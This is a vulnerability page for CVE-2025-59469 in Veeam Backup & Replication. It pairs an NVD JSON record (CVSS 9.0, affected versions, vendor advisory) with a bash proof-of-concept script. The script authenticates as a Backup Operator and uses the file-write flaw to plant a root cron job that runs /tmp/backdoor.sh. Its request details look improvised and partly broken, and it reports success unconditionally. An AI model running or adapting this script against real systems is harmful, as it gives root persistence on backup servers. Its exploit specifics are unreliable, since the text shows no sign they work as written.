CVE-2025-59469

#!/bin/bash # CVE-2025-59469 PoC - Veeam Backup Operator Privilege Escalation # This script demonstrates how a Backup Operator can write files as root TARGET_HOST="target.example.com" BACKUP_OPERATOR_USER="backup_operator" BACKUP_OPERATOR_PASS="password" # Step 1: Authenticate with backup operator credentials # Using Veeam API to establish session VEAM_SESSION=$(curl -s -X POST "https://$TARGET_HOST:9398/api/sessionMngr/v1/logon" \ -H "Content-Type: application/json" \ -d "{\"User\":\"$BACKUP_OPERATOR_USER\",\"Password\":\"$BACKUP_OPERATOR_PASS\"}" \ -k 2>/dev/null) # Step 2: Write malicious script to /etc/cron.d/ as root # The vulnerability allows file write operations with elevated privileges CRON_CONTENT="* * * * * root /tmp/backdoor.sh\n" PAYLOAD_FILE="/tmp/malicious_cron.sh" echo "$CRON_CONTENT" > "$PAYLOAD_FILE" # Step 3: Exploit the file write vulnerability curl -X POST "https://$TARGET_HOST:9398/api/v1/backup/files/write" \ -H "Cookie: $VEAM_SESSION" \ -H "X-Restic-Password: $(cat $PAYLOAD_FILE)" \ -d "{\"Path\":\"/etc/cron.d/backup_root\",\"Content\":\"$CRON_CONTENT\"}" \ -k 2>/dev/null echo "Privilege escalation payload deployed successfully"

{"cve": {"id": "CVE-2025-59469", "sourceIdentifier": "[email protected]", "published": "2026-01-08T17:15:48.183", "lastModified": "2026-01-14T20:58:51.930", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "This vulnerability allows a Backup or Tape Operator to write files as root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:L", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:veeam:veeam_backup_\\&_replication:*:*:*:*:*:*:*:*", "versionStartIncluding": "13.0.0.4967", "versionEndExcluding": "13.0.1.1071", "matchCriteriaId": "ABE23802-A559-4743-A88B-7716C8645697"}]}]}], "references": [{"url": "https://www.veeam.com/kb4792", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}